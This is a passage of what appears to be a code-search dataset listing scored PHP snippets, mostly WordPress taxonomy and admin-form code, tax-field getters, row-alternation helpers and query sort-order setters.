{\n\n\t\t// Should not happen. But just in case.\n\t\tif ($tag->taxonomy != \"bcat\")\treturn;\n\t\t\n\t\t$this->load_config();\n\n\t\tif (isset($this->opts['icons_category'][$tag->term_id])) {\n\t\t\t$bcat_image_id = $this->opts['icons_category'][$tag->term_id];\n\t\t} else {\n\t\t\t$bcat_image_id = 0;\n\t\t}\n\t\t?>\n<?php /* ?>\t\t\t\n\t\t<tr>\n\t\t\t<th scope=\"row\" valign=\"top\"><label for=\"bcat_category_type\"><?php _ex('Category Type', 'Category Type', SITE_CATEGORIES_I18N_DOMAIN); ?></label></th>\n\t\t\t<td>\n\t\t\t\t<ul>\n\t\t\t\t\t<li><input type=\"radio\" name=\"bcat_category_type\" id=\"bcat_category_type_regular\" value=\"\" /> <label \n\t\t\t\t\t\tfor=\"bcat_category_type_regular\"><?php _e('Regular', SITE_CATEGORIES_I18N_DOMAIN); ?></label></li>\n\t\t\t\t\t<li><input type=\"radio\" name=\"bcat_category_type\" id=\"bcat_category_type_network_admin\" value=\"\" /> <label \n\t\t\t\t\t\tfor=\"bcat_category_type_network_admin\"><?php _e('Network Admin Assigned', SITE_CATEGORIES_I18N_DOMAIN); ?></label></li>\n\t\t\t</td>\n\t\t</tr>\t\n<?php */ ?>\n\n\t\t<tr>\n\t\t\t<th scope=\"row\" valign=\"top\"><label for=\"upload_image\"><?php _ex('Bild', 'Kategorie Bild', SITE_CATEGORIES_I18N_DOMAIN); ?></label></th>\n\t\t\t<td>\n\t\t\t\t<p class=\"description\"><?php _e('The image used for the category icon will be displayed square.', SITE_CATEGORIES_I18N_DOMAIN) ?></p>\n\t\t\t\t<input type=\"hidden\" id=\"bcat_image_id\" value=\"<?php echo $bcat_image_id; ?>\" name=\"bcat_image_id\" />\n\t\t\t\t<input id=\"bcat_image_upload\" class=\"button-secondary\" type=\"button\" value=\"<?php _e('Bild auswählen', SITE_CATEGORIES_I18N_DOMAIN); ?>\" <?php\n\t\t\t\t\tif ($bcat_image_id) { echo ' style=\"display: none;\" '; }; ?> />\n\t\t\t\t<input id=\"bcat_image_remove\" class=\"button-secondary\" type=\"button\" value=\"<?php _e('Entferne Bild', SITE_CATEGORIES_I18N_DOMAIN); ?>\" <?php\n\t\t\t\t\tif (!$bcat_image_id) { echo ' style=\"display: none;\" '; }; ?> />\n\t\t\t\t<br />\n\t\t\t\t<?php\n\t\t\t\t\t$bcat_image_default_src = $this->get_default_category_icon_url();\n\t\t\t\t\tif ($bcat_image_id)\n\t\t\t\t\t{\n\t\t\t\t\t\t$image_src\t= wp_get_attachment_image_src($bcat_image_id, array(100, 100));\n\t\t\t\t\t\tif (!$image_src) {\n\t\t\t\t\t\t\t$image_src[0] = \"#\";\t\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$image_src[0] = $bcat_image_default_src;\n\t\t\t\t\t}\n\t\t\t\t\tif (is_ssl()) {\n\t\t\t\t\t\t$image_src[0] = str_replace('http://', 'https://', $image_src[0]);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t?>\n\t\t\t\t\t<img id=\"bcat_image_src\" src=\"<?php echo $image_src[0]; ?>\" alt=\"\" style=\"margin-top: 10px; max-width: 300px; max-height: 300px\" \n\t\t\t\t\t\trel=\"<?php echo $bcat_image_default_src; ?>\"/>\n\t\t\t\t\t<?php\n\t\t\t\t?></p>\n\t\t\t</td>\n\t\t</tr>\n\t\t<?php\n\t}", "title": "" }, { "docid": "e5ff9c9ac8a24572aee4c2c705720b35", "score": "0.42014852", "text": "function wp_daleel_tag_taxonomy() {\n\n $labels = [\n 'name' => _x('Item Tags', 'taxonomy general name'),\n 'singular_name' => _x('Item Tags', 'taxonomy singular name'),\n 'search_items' => __('Search Item Tags'),\n 'all_items' => __('All Tags'),\n 'parent_item' => __('Parent Item Tag'),\n 'parent_item_colon' => __('Parent Item Tag:'),\n 'edit_item' => __('Edit Item Tag'),\n 'update_item' => __('Update Item Tag'),\n 'add_new_item' => __('Add New Item Tag'),\n 'new_item_name' => __('New Item Tag Name'),\n 'menu_name' => __('Tags'),\n ];\n\n $args = [\n 'hierarchical' => false, //make it non-hierarchical (like tags)\n 'labels' => $labels,\n 'show_ui' => true,\n 'show_admin_column' => true,\n 'query_var' => true,\n 'rewrite' => ['slug' => 'project_tag'],\n ];\n register_taxonomy( 'item_tag', ['wp_daleel'], $args );\n}", "title": "" }, { "docid": "4611bdc5fb0d02189d4ff0051c60a15c", "score": "0.41816235", "text": "function _del_tax($id_iva) {\n\t\tif (!isset($id_iva) OR !is_array($this->_aIVAs['detalle'][$id_iva])) return FALSE;\n\t\t$aTmp['id_iva'] = $id_iva;\n\t\t$aTmp['id_pedido'] = $this->_aIVAs['detalle'][$id_iva]['id_pedido'];\n\t\t$aTmp['id_factura'] = $this->_aIVAs['detalle'][$id_iva]['id_factura'];\n\t\t$this->_change_flags(inmPed_CHG_TAXES | inmPed_MODIFIED);\n\t\tunset($this->_aIVAs['detalle'][$id_iva]);\n\t\tarray_push($this->_aIva_dbdel,$aTmp);\n\t}", "title": "" }, { "docid": "151ffe5ae942a6f95d93f56c0638defb", "score": "0.4176316", "text": "protected function makeTagTR(string $tag, string $description) {\n global $isAjax, $lang;\n\n return \\RCView::tr(array(),\n \\RCView::td(array('class'=>'nowrap', 'style'=>'text-align:center;background-color:#f5f5f5;color:#912B2B;padding:7px 15px 7px 12px;font-weight:bold;border:1px solid #ccc;border-bottom:0;border-right:0;'),\n ((!$isAjax || (isset($_POST['hideBtns']) && $_POST['hideBtns'] == '1')) ? '' :\n \\RCView::button(array('class'=>'btn btn-xs btn-rcred', 'style'=>'', 'onclick'=>\"$('#field_annotation').val(trim('\".js_escape($tag).\" '+$('#field_annotation').val())); highlightTableRowOb($(this).parentsUntil('tr').parent(),2500);\"), $lang['design_171'])\n )\n ) .\n \\RCView::td(array('class'=>'nowrap', 'style'=>'background-color:#f5f5f5;color:#912B2B;padding:7px;font-weight:bold;border:1px solid #ccc;border-bottom:0;border-left:0;border-right:0;'),\n $tag\n ) .\n \\RCView::td(array('style'=>'font-size:12px;background-color:#f5f5f5;padding:7px;border:1px solid #ccc;border-bottom:0;border-left:0;'),\n '<i class=\"fas fa-cube mr-1\"></i>'.$description\n )\n );\n\n }", "title": "" }, { "docid": "eee3e1b978da7d29be358dbb25657cb1", "score": "0.4175852", "text": "public function getTaxableIndicator()\n {\n return $this->taxableIndicator;\n }", "title": "" }, { "docid": "6e7c7faea2d79df1d94f3f709e124c42", "score": "0.41753802", "text": "function get_taxes() {\n\t\treturn $this->_aIVAs;\n\t}", "title": "" }, { "docid": "971359f6966056e11c2dff7632f9bd21", "score": "0.41573775", "text": "public function getTagname()\n {\n return $this->tagname;\n }", "title": "" }, { "docid": "35e61263096d7bd862d2d80dab2b3a02", "score": "0.4156346", "text": "function tep_add_tax($price, $tax, $override = false) {\n if ( ( (DISPLAY_PRICE_WITH_TAX == 'true') || ($override == true) ) && ($tax > 0) ) {\n return $price + tep_calculate_tax($price, $tax);\n } else {\n return $price;\n }\n }", "title": "" }, { "docid": "bc4f5ba2caa96d672c9c6392ddfdde79", "score": "0.4155108", "text": "public function getOedtmstrtaxcode1()\n {\n return $this->oedtmstrtaxcode1;\n }", "title": "" }, { "docid": "158f4911e7de7531deda4098e61c95cc", "score": "0.41402724", "text": "function save( $term_id ) {\n\t\n\t\t// verify nonce\n\t\tif ( ( !isset( $_POST['wp_tax_box_nonce'] ) || !wp_verify_nonce( $_POST['wp_tax_box_nonce'], basename(__FILE__) ) ) && ( isset($_POST['action']) && $_POST['action'] != 'delete-tag' ) )\n\t\t\treturn $term_id;\n\n\t\tforeach ( $this->_tax_box['fields'] as $field ) {\n\t\t\t$name = $field['id'];\n\t\t\t$old = get_option( \"taxonomy_\" . $term_id . \"_\" . $name );\n\t\t\t// $old = $old[$name];\n\t\t\t$new = isset( $_POST[$field['id']] ) ? $_POST[$field['id']] : null;\n\n\t\t\t// wpautop() should not be needed with version 3.3 and later\n\t\t\tif ( $field['type'] == 'wysiwyg' && !function_exists( 'wp_editor' ) )\n\t\t\t\t$new = wpautop($new);\n\t\t\t\n\t\t\tif ( in_array( $field['type'], array( 'taxonomy_select', 'taxonomy_radio', 'taxonomy_multicheck' ) ) )\n\t\t\t\t$new = wp_set_object_terms( $term_id, $new, $field['taxonomy'] );\t\n\n\t\t\tif ( ($field['type'] == 'textarea') || ($field['type'] == 'textarea_small') )\n\t\t\t\t$new = htmlspecialchars( $new );\n\n\t\t\tif ( ($field['type'] == 'textarea_code') )\n\t\t\t\t$new = htmlspecialchars_decode( $new );\n\t\t\t\n\t\t\tif ( $field['type'] == 'text_date_timestamp' )\n\t\t\t\t$new = strtotime( $new );\n\t\t\t\n\t\t\t$new = apply_filters('bizz_validate_' . $field['type'], $new, $term_id, $field);\n\t\t\t\n\t\t\t// validate tax value\n\t\t\tif ( isset( $field['validate_func']) ) {\n\t\t\t\t$ok = call_user_func( array( 'Bizz_Tax_Box_Validate', $field['validate_func']), $new );\n\t\t\t\tif ( $ok === false ) // pass away when tax value is invalid\n\t\t\t\t\tcontinue;\t\t\n\t\t\t} \n\t\t\telseif ( $new && $new != $old && !is_wp_error($new) )\n\t\t\t\tupdate_option( \"taxonomy_\" . $term_id . \"_\" . $name, $new );\n\t\t\telseif ( '' == $new && $old )\n\t\t\t\tdelete_option( \"taxonomy_\" . $term_id . \"_\" . $name );\n\t\t\t\n\t\t\tif ( 'file' == $field['type'] ) {\n\t\t\t\t$name = $field['id'] . \"_id\";\n\t\t\t\t$old = get_option( \"taxonomy_\" . $term_id . \"_\" . $name );\n\t\t\t\tif ( isset( $field['save_id'] ) && $field['save_id'] ) {\n\t\t\t\t\t$new = isset( $_POST[$name] ) ? $_POST[$name] : null;\n\t\t\t\t} else {\n\t\t\t\t\t$new = \"\";\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif ( $new && $new != $old ) {\n\t\t\t\t\tupdate_option( \"taxonomy_\" . $term_id . \"_\" . $name, $new );\n\t\t\t\t} elseif ( '' == $new && $old ) {\n\t\t\t\t\tdelete_option( \"taxonomy_\" . $term_id . \"_\" . $name );\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\tif ( 'date_time' == $field['type'] ) {\n\t\t\t\t$name = $field['id'] . \"_time\";\n\t\t\t\t$old = get_option( \"taxonomy_\" . $term_id . \"_\" . $name );\n\t\t\t\t$new = isset( $_POST[$name] ) ? $_POST[$name] : null;\n\n\t\t\t\tif ( $new && $new != $old && !is_wp_error($new) )\n\t\t\t\t\tupdate_option( \"taxonomy_\" . $term_id . \"_\" . $name, $new );\n\t\t\t\telseif ( '' == $new && $old )\n\t\t\t\t\tdelete_option( \"taxonomy_\" . $term_id . \"_\" . $name );\n\t\t\t\t\n\t\t\t}\n\t\t}\n\t\t\t\t\n\t}", "title": "" }, { "docid": "aec08b67b55361a5439a16f9ca2cdded", "score": "0.41366625", "text": "public function getNItems2()\n {\n return $this->hasMany(NItem::className(), ['purchase_tax3_id' => 'tax_id']);\n }", "title": "" }, { "docid": "f7c90cbb7922cfe20b2ca7b920f5e5cc", "score": "0.4134081", "text": "private function add_alternate_name($data)\n {\n }", "title": "" }, { "docid": "42444825b83492f966ea3af9e4446340", "score": "0.4133083", "text": "public function tag($tag=NULL) {\n\n }", "title": "" }, { "docid": "ce53f0ab6b47783a06157aed86c85119", "score": "0.41311797", "text": "public function getOedtmstrtaxcode5()\n {\n return $this->oedtmstrtaxcode5;\n }", "title": "" }, { "docid": "e9e52c2628eccb1db375a0777736cf93", "score": "0.4129107", "text": "public function getArInvs2()\n {\n return $this->hasMany(ArInv::className(), ['taxable_tax2_id' => 'tax_id']);\n }", "title": "" }, { "docid": "420c0cf36a1cbe815df2e7385e1f20a1", "score": "0.4120015", "text": "public function getTotalTax();", "title": "" }, { "docid": "73df8625da8971a233b34559af355a25", "score": "0.41115102", "text": "public function getMttDontTaxesAssim() {\n return $this->mttDontTaxesAssim;\n }", "title": "" }, { "docid": "3893180428ac289064589cc3f8c08b91", "score": "0.41094992", "text": "function alternate_row($tdrow=0,$tdClass1,$tdClass2)\r\n{\r\n\tif(($tdrow%2)==0)\r\n\t{\r\n\t\t$tdClass=$tdClass1;\r\n\t}\r\n\telse\r\n\t{\r\n\t\t$tdClass=$tdClass2;\r\n\t}\r\n\treturn $tdClass;\r\n}", "title": "" }, { "docid": "bb4a60a15920ca03dd596be05d8e8e78", "score": "0.40996656", "text": "function alternate_row($tdrow,$tdClass1,$tdClass2)\n{\n\tif(($tdrow%2)==0)\n\t{\n\t\t$tdClass=$tdClass1;\n\t}\n\telse\n\t{\n\t\t$tdClass=$tdClass2;\n\t}\n\n\treturn $tdClass;\n}", "title": "" }, { "docid": "fa8668ceb5da51f22d2af38a5e881ef8", "score": "0.40994588", "text": "public function getAltAttribute()\n {\n return $this->translation()->alt;\n }", "title": "" }, { "docid": "c7a6ab68750de7d7a65e98b4163fc0a3", "score": "0.409895", "text": "public function getTaxAmount();", "title": "" }, { "docid": "b62edcf474b0694ed6b5c85044784840", "score": "0.40974864", "text": "public static function subsStrTerm (string $indictee, $tax, $payBack) : string {\n\n return str_replace ($tax, $payBack, $indictee);\n\n }", "title": "" }, { "docid": "1f244f62c99f6a50e6422c8603323397", "score": "0.40935373", "text": "public function useTag($tag) {\n\t\tif (!isset($this->_tags[$tag])) {\n\t\t\treturn '';\n\t\t}\n\t\t$args = func_get_args();\n\t\tarray_shift($args);\n\t\tforeach ($args as &$arg) {\n\t\t\tif (is_array($arg)) {\n\t\t\t\t$arg = $this->_parseAttributes($arg, null, ' ', '');\n\t\t\t}\n\t\t}\n\t\treturn vsprintf($this->_tags[$tag], $args);\n\t}", "title": "" }, { "docid": "2c1b3f2f11371bb8a96054496425ffff", "score": "0.40898427", "text": "public function get_other_table_name() {\r\n return 'artefact_europass_' . $this->get_artefact_type();\r\n }", "title": "" }, { "docid": "8c4fd1898848cb3317e649dff5cf856f", "score": "0.40837342", "text": "function hordes_register_custom_posttag() \n{\n register_taxonomy( 'hordes_tags', 'hordes', array(\n 'labels' => __( 'Hordes Tags', 'Tagged as', 'hordes' ),\n 'desc' => __( 'Identifier and search tags', 'hordes' ), \n 'hierarchical' => false,\n 'sort' => true,\n 'query_var' => true,\n 'public' => true,\n 'show_in_nav_menus' => false,\n 'capabilities' => array(\n 'edit_terms' => 'administrator'\n ), \n 'show_admin_column' => false,\n 'show_ui' => true,\n 'show_tagcloud' => true,\n 'rewrite' => array( 'slug' => 'hordes_tags',\n 'with_front' => false,\n 'hierarchical' => false ) \n ) ); \n}", "title": "" }, { "docid": "e36c7fd0ad11bbbe396c5e05551d098d", "score": "0.40616688", "text": "private function write_taxon_DH($rec)\n {\n /* One more thing: synonyms and other alternative names should not have parentNameUsageIDs. \n In general, if a taxon has an acceptedNameUsageID it should not also have a parentNameUsageID. \n So in this specific case, we want acceptedNameUsageID's only if name class IS scientific name. */\n if($rec['acceptedNameUsageID']) $rec['parentNameUsageID'] = '';\n \n if($rec['scientificName'] == \"Not assigned\") $rec['scientificName'] = self::replace_NotAssigned_name($rec);\n \n /* From Katja: If that's not easy to do, we can also change the resource files to use \"unclassified\" instead of \"unplaced\" for container taxa. \n I can do this for the resources under my control (trunk & ONY). You would have to do it for COL, CLP, ictv & WOR. */\n /* this was later abondoned by one below this:\n $rec['scientificName'] = str_ireplace(\"Unplaced\", \"unclassified\", $rec['scientificName']);\n */\n \n /* From Katja: The original version of this is:\n 13663148 b41f2b15ccd7f64e1f5c329eae60e987 5 CCW in Species 2000 & ITIS Catalogue of Life: 20th February 2019 54217965 accepted name species Erioptera (Unplaced) amamiensis Alexander, 1956\n Instead of changing (Unplaced) to (unclassified) here, we should simply remove the pseudo subgenus string and use the simple binomial, \n i.e., in this case, the scientificName should be \"Erioptera amamiensis Alexander, 1956.\" \n To fix this you should be able to do a simple search and replace for (Unplaced) in the scientificName field.\n */\n $rec['scientificName'] = Functions::remove_whitespace(str_ireplace(\"(Unplaced)\", \"\", $rec['scientificName']));\n \n $taxon = new \\eol_schema\\Taxon();\n $taxon->taxonID = $rec['taxonID'];\n $taxon->parentNameUsageID = $rec['parentNameUsageID'];\n $taxon->taxonRank = $rec['taxonRank'];\n $taxon->scientificName = $rec['scientificName'];\n $taxon->taxonomicStatus = $rec['taxonomicStatus'];\n $taxon->acceptedNameUsageID = $rec['acceptedNameUsageID'];\n // $taxon->furtherInformationURL = $rec['furtherInformationURL']; //removed from 'Feb 20, 2019' dump\n $this->debug['acceptedNameUsageID'][$rec['acceptedNameUsageID']] = '';\n \n /* optional, I guess\n $taxon->scientificNameID = $rec['scientificNameID'];\n $taxon->nameAccordingTo = $rec['nameAccordingTo'];\n $taxon->kingdom = $rec['kingdom'];\n $taxon->phylum = $rec['phylum'];\n $taxon->class = $rec['class'];\n $taxon->order = $rec['order'];\n $taxon->family = $rec['family'];\n $taxon->genus = $rec['genus'];\n $taxon->subgenus = $rec['subgenus'];\n $taxon->specificEpithet = $rec['specificEpithet'];\n $taxon->infraspecificEpithet = $rec['infraspecificEpithet'];\n $taxon->scientificNameAuthorship = $rec['scientificNameAuthorship'];\n $taxon->taxonRemarks = $rec['taxonRemarks'];\n $taxon->modified = $rec['modified'];\n $taxon->datasetID = $rec['datasetID'];\n $taxon->datasetName = $rec['datasetName'];\n */\n /* for DUPLICATE TAXA process...\n Find duplicate taxa where taxonRank:species AND the following fields all have the same value: parentNameUsageID, genus, specificEpithet.\n Find duplicate taxa where taxonRank:infraspecies AND the following fields all have the same value: parentNameUsageID, genus, specificEpithet, infraspecificEpithet.\n */\n if($val = @$rec['genus']) $taxon->genus = $val;\n if($val = @$rec['specificEpithet']) $taxon->specificEpithet = $val;\n if($val = @$rec['infraspecificEpithet']) $taxon->infraspecificEpithet = $val;\n if($val = @$rec['scientificNameAuthorship']) $taxon->scientificNameAuthorship = $val;\n if($val = @$rec['verbatimTaxonRank']) $taxon->verbatimTaxonRank = $val;\n if($val = @$rec['subgenus']) $taxon->subgenus = $val;\n if($val = @$rec['taxonRemarks']) $taxon->taxonRemarks = $val; //for taxonRemarks but for a later stage\n if($val = @$rec['isExtinct']) $taxon->taxonRemarks = \"isExtinct:$val\";//for taxonRemarks but for an earlier stage\n\n if(!isset($this->taxon_ids[$taxon->taxonID])) {\n $this->archive_builder->write_object_to_file($taxon);\n $this->taxon_ids[$taxon->taxonID] = '';\n }\n }", "title": "" }, { "docid": "e35762a3aa296b89ad46993d835dfcc9", "score": "0.4061239", "text": "function get_attribute($tname,$tindex,$attrname)\t\r\n\t{\r\n\t\t$mytag=$this->get_tag_in_tree($tname,$tindex);\r\n\t\treturn $this->get_attribute_internal($mytag,$attrname);\r\n\t}", "title": "" }, { "docid": "54103078dc5431848d09cceeb66f7f27", "score": "0.40570363", "text": "function correctTagname($tagname, $alternative_name, $alternative_number = -1) {\n\t\tif ($tagname != \"\") {\n\t\t\t// Remove spaces\n\t\t\t$tagname = preg_replace(\"/\\40+/\", \"_\", $tagname);\n\n\t\t\t// Remove special characters\n\t\t\t$tagname = preg_replace(\"/[^a-zA-Z0-9_]+/\", \"\", $tagname);\n\t\t}\n\n\t\t// Set alternative name if no name is now present present\n\t\tif ($tagname == \"\") {\n\t\t\t$tagname = ($alternative_number != -1) ? $alternative_name . $alternative_number : $alternative_name;\n\t\t}\n\n\t\treturn $tagname;\n\t}", "title": "" }, { "docid": "0e0cbc9075fb1fdaacb30028da740330", "score": "0.40470052", "text": "public function getItems2()\n {\n return $this->hasMany(Item::className(), ['purchase_tax2_id' => 'tax_id']);\n }", "title": "" } ]
a4f3d9d2c19a6927a423fd2a9db578c1
Sets the direction to order the results by
[ { "docid": "fc445feb4e93106f447f49acedd7e8ce", "score": "0.63038933", "text": "public function orderDirection($direction)\n {\n if (!in_array($direction, static::SORTING_DIRS)) {\n throw new InvalidSortingDirectionException($direction);\n }\n\n $this->sortDir[] = $direction;\n\n if (!count($this->orderBy)) {\n throw new NoSortableFieldToOrderByException();\n }\n\n return $this;\n }", "title": "" } ]
[ { "docid": "09d55cc9f9bb432b8e8eda508f192804", "score": "0.71868455", "text": "public function order_direction($direction = 'ASC'){\n\t\t$this->order_direction = $direction;\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "a9ac5eca43c1605a09e4a01b1dd8caa2", "score": "0.7165155", "text": "private function orderResults()\r\n\t{\r\n\t\tif ($this->session->has('michaeljennings.table.'.$this->key.'.sort')) {\r\n\t\t\t$this->sortBy = $this->session->get('michaeljennings.table.'.$this->key.'.sort');\r\n\t\t\tif ($this->session->has('michaeljennings.table.'.$this->key.'.dir')) {\r\n\t\t\t\t$this->sortDir = 'desc';\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif (isset($this->sortBy)) {\r\n\t\t\t$this->instance->refreshOrderBy();\r\n\t\t\tif (isset($this->sortDir)) {\r\n\t\t\t\t$this->instance->orderBy($this->sortBy, $this->sortDir);\r\n\t\t\t} else {\r\n\t\t\t\t$this->instance->orderBy($this->sortBy, 'asc');\r\n\t\t\t}\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "455eec27e405cfb501ae0dc4f9450e84", "score": "0.69227767", "text": "public function getOrdered($direction = 'asc');", "title": "" }, { "docid": "0c980c0b4dbb615c0628af04551b0740", "score": "0.6823816", "text": "protected function sortDirection() {\n foreach($this->_columns as $column) {\n $column = (object)$column;\n if(!empty($column->sortDirection)) {\n return $column->sortDirection;\n }\n }\n return 'asc';\n }", "title": "" }, { "docid": "3a215f943158b2b1e9bd561ba063c6bd", "score": "0.6635204", "text": "function setOrderDirection($inOrderDirection) {\n\t\tif ( $inOrderDirection !== $this->_OrderDirection ) {\n\t\t\tif ( !in_array($inOrderDirection, array(self::ORDER_ASC, self::ORDER_DESC)) ) {\n\t\t\t\tthrow new systemException(\"Order direction can only be 1 for Ascending or 2 for descending\");\n\t\t\t}\n\t\t\t$this->_OrderDirection = $inOrderDirection;\n\t\t\t$this->setModified();\n\t\t}\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "d8c54716c4b5053e488083bf306eb040", "score": "0.66035616", "text": "public function getDefaultSortDirection();", "title": "" }, { "docid": "52b67d3d9b3211bc53a0d8d2b387eb65", "score": "0.6584438", "text": "private function setOrderByForJsonResult()\n {\n if (($this->input->post('iSortingCols', TRUE) == 1)) {\n $col = $this->input->post('iSortCol_0', TRUE);\n if ($col <= (count($this->tablefields) - 1)) {\n $this->db->order_by(\n $this->realField($this->tablefields[$col]),\n $this->input->post('sSortDir_0', TRUE)\n );\n } else {\n $this->db->order_by($this->id_field, $this->input->post('sSortDir_0', TRUE));\n }\n }\n }", "title": "" }, { "docid": "5f72aa55376b85413e1cd91fc804a764", "score": "0.65419865", "text": "function orderBy($field, $direction = 'ASC') {\n\t return $this->orderBy = array('field' => $field, 'direction' => $direction);\n\t }", "title": "" }, { "docid": "ca965898ceb77e0f67148d6dda4ef757", "score": "0.6486305", "text": "public function order_by_day ($direction)\n {\n $this->set_order ($this->_day_field . ' ' . $direction);\n }", "title": "" }, { "docid": "5534d507d2b22cc9e215f6d2aab3f1f2", "score": "0.6389268", "text": "public /* void */ function orderBy ($field, $direction = 'DESC') {\n\t\tif ($this->order != \"\" ) {\n\t\t\t$this->order .= ', ';\n\t\t} else {\n\t\t\t$this->order = \"ORDER BY \";\n\t\t}\n\t\t$this->order .= \"? \".$direction;\n\t\t\n\t\t$this->orderBindValues[] = $field;\n\t}", "title": "" }, { "docid": "e306f284168835119dd6b056e23895bc", "score": "0.63755494", "text": "public function setDefaultDirection($dir)\n {\n if (in_array(strtolower($dir), array('asc', 'desc'))) {\n $this->_direction = strtolower($dir);\n }\n return $this;\n }", "title": "" }, { "docid": "9051db9a21cba2c7f0f6c8da8b534e08", "score": "0.6345094", "text": "public function orderBy($column, $direction = 'asc');", "title": "" }, { "docid": "9051db9a21cba2c7f0f6c8da8b534e08", "score": "0.6345094", "text": "public function orderBy($column, $direction = 'asc');", "title": "" }, { "docid": "5b6e87941fb7284b977cbfe318faf44a", "score": "0.6342562", "text": "function SetUpSortOrder() {\r\n\r\n\t\t// Check for \"order\" parameter\r\n\t\tif (@$_GET[\"order\"] <> \"\") {\r\n\t\t\t$this->CurrentOrder = ew_StripSlashes(@$_GET[\"order\"]);\r\n\t\t\t$this->CurrentOrderType = @$_GET[\"ordertype\"];\r\n\t\t\t$this->UpdateSort($this->id_matricula); // id_matricula\r\n\t\t\t$this->UpdateSort($this->id_afiliado); // id_afiliado\r\n\t\t\t$this->UpdateSort($this->tipo_matri); // tipo_matri\r\n\t\t\t$this->UpdateSort($this->id_plan); // id_plan\r\n\t\t\t$this->UpdateSort($this->valor_matri); // valor_matri\r\n\t\t\t$this->UpdateSort($this->valor_men_matri); // valor_men_matri\r\n\t\t\t$this->UpdateSort($this->conv_matri); // conv_matri\r\n\t\t\t$this->UpdateSort($this->id_empleado); // id_empleado\r\n\t\t\t$this->UpdateSort($this->doc4_matri); // doc4_matri\r\n\t\t\t$this->setStartRecordNumber(1); // Reset start position\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "6433d62f8db8d4e3693db1c87c309cf0", "score": "0.62707996", "text": "function SetUpSortOrder() {\n\t\tglobal $saldo_cuenta;\n\n\t\t// Check for an Order parameter\n\t\tif (@$_GET[\"order\"] <> \"\") {\n\t\t\t$saldo_cuenta->CurrentOrder = ew_StripSlashes(@$_GET[\"order\"]);\n\t\t\t$saldo_cuenta->CurrentOrderType = @$_GET[\"ordertype\"];\n\t\t\t$saldo_cuenta->UpdateSort($saldo_cuenta->idSaldoCuenta); // Field \n\t\t\t$saldo_cuenta->UpdateSort($saldo_cuenta->idCuenta); // Field \n\t\t\t$saldo_cuenta->UpdateSort($saldo_cuenta->fecha); // Field \n\t\t\t$saldo_cuenta->UpdateSort($saldo_cuenta->nro_fact_recibo); // Field \n\t\t\t$saldo_cuenta->UpdateSort($saldo_cuenta->detalle); // Field \n\t\t\t$saldo_cuenta->UpdateSort($saldo_cuenta->ingreso); // Field \n\t\t\t$saldo_cuenta->UpdateSort($saldo_cuenta->egreso); // Field \n\t\t\t$saldo_cuenta->setStartRecordNumber(1); // Reset start position\n\t\t}\n\t}", "title": "" }, { "docid": "03b59f57b96623f5d9ba40f4d21832b9", "score": "0.62609076", "text": "protected function setSort()\n {\n $this->sort = Request::get($this->sortName, []);\n if (!is_array($this->sort)) {\n return;\n }\n\n if (empty($this->sort['column']) || empty($this->sort['type'])) {\n return;\n }\n\n $column = $this->getSortColumn();\n // if sort as callback, Execute callback\n if($column && !is_null($column->getSortCallback())){\n $this->setCallbackSort();\n return;\n }\n\n $relationSort = false;\n if(boolval(array_get($this->sort, 'direct'))){\n }\n elseif (Str::contains($this->sort['column'], '.')) {\n $relationSort = true;\n }\n \n if($relationSort){\n $this->setRelationSort($this->sort['column']);\n }\n else {\n $this->resetOrderBy();\n\n // Change type -1 to desc, 1 to asc.\n $type = ($this->sort['type'] ?? 1) == -1 ? 'desc' : 'asc';\n \n // get column. if contains \"cast\", set set column as cast\n if ($column && !is_null($cast = $column->getCast())) {\n $columnName = \\DB::getQueryGrammar()->wrap($this->sort['column']);\n $column = \"CAST({$columnName} AS {$cast}) {$type}\";\n $method = 'orderByRaw';\n $arguments = [$column];\n } else {\n $column = $this->sort['column'];\n $method = 'orderBy';\n $arguments = [$column, $type];\n }\n\n $this->queries->push([\n 'method' => $method,\n 'arguments' => $arguments,\n ]);\n }\n }", "title": "" }, { "docid": "882a223e8194bd85c391138b4e93d032", "score": "0.62585527", "text": "public function orderBy($column, $direction = 'asc')\n {\n }", "title": "" }, { "docid": "b662a4dedd2e2a9457f3abac4fefa346", "score": "0.62528044", "text": "function setOrder($order='ASC')\n{\n\t$this->order = \" ORDER BY \".$this->primaryCol.\" \".$order;\n}", "title": "" }, { "docid": "4821be6fbc9484d2838046dc1e34348e", "score": "0.6240698", "text": "public function order(){\n return 'asc';\n }", "title": "" }, { "docid": "3abe6e49c1667248121c444f385d49cc", "score": "0.622636", "text": "public function setSortOrder()\n {\n parent::setSortOrder($this->getMaximumPosition() - $this->item->getPosition());\n }", "title": "" }, { "docid": "974428a22af281dd311e507ca8be0d57", "score": "0.6215323", "text": "function SetUpSortOrder() {\r\n\r\n\t\t// Check for \"order\" parameter\r\n\t\tif (@$_GET[\"order\"] <> \"\") {\r\n\t\t\t$this->CurrentOrder = ew_StripSlashes(@$_GET[\"order\"]);\r\n\t\t\t$this->CurrentOrderType = @$_GET[\"ordertype\"];\r\n\t\t\t$this->UpdateSort($this->Id_Etiqueta); // Id_Etiqueta\r\n\t\t\t$this->UpdateSort($this->Id_Compra); // Id_Compra\r\n\t\t\t$this->UpdateSort($this->Articulo); // Articulo\r\n\t\t\t$this->UpdateSort($this->Codigo); // Codigo\r\n\t\t\t$this->UpdateSort($this->Status); // Status\r\n\t\t\t$this->UpdateSort($this->Articulo_L1); // Articulo_L1\r\n\t\t\t$this->UpdateSort($this->Articulo_L2); // Articulo_L2\r\n\t\t\t$this->UpdateSort($this->Articulo_L3); // Articulo_L3\r\n\t\t\t$this->setStartRecordNumber(1); // Reset start position\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "5fed0bd9383a118d49919db069057707", "score": "0.6197583", "text": "private function getListDirection(): string\n {\n $sortOrder = $this->getRequest()->getParam('product_list_dir');\n if ($sortOrder) {\n return $sortOrder;\n } else {\n return 'asc';\n }\n }", "title": "" }, { "docid": "6cf60b38d13b8848d9f882d87d8f75e9", "score": "0.6163017", "text": "public function setSortDirection($value)\n {\n return $this->set(self::SORTDIRECTION, $value);\n }", "title": "" }, { "docid": 